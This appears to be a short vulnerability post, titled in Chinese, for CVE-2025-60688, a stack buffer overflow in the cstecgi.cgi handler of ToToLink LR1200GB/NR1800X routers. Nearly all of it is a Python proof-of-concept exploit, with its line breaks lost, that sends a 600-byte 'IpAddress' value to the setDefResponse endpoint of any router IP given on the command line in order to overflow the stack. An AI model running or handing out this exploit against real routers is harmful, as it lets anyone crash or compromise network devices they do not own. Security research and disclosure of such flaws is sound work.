CVE-2025-60688 ToToLink路由器cstecgi.cgi栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-60688 PoC - ToToLink LR1200GB/NR1800X cstecgi.cgi Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. """ import requests import sys TARGET_IP = "192.168.1.1" # Router IP address def exploit_cve_2025_60688(): """ Exploit the stack buffer overflow in cstecgi.cgi setDefResponse function by sending an oversized IpAddress parameter """ # Create payload with 500+ bytes to overflow typical stack buffer # Adjust size based on target buffer allocation payload_size = 600 malicious_ip = "A" * payload_size url = f"http://{TARGET_IP}/cstecgi.cgi" # Parameters for setDefResponse function params = { "url": "/setDefResponse", "IpAddress": malicious_ip } try: print(f"[*] Sending exploit payload ({payload_size} bytes) to {url}") response = requests.get(url, params=params, timeout=10) print(f"[*] Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] exploit_cve_2025_60688()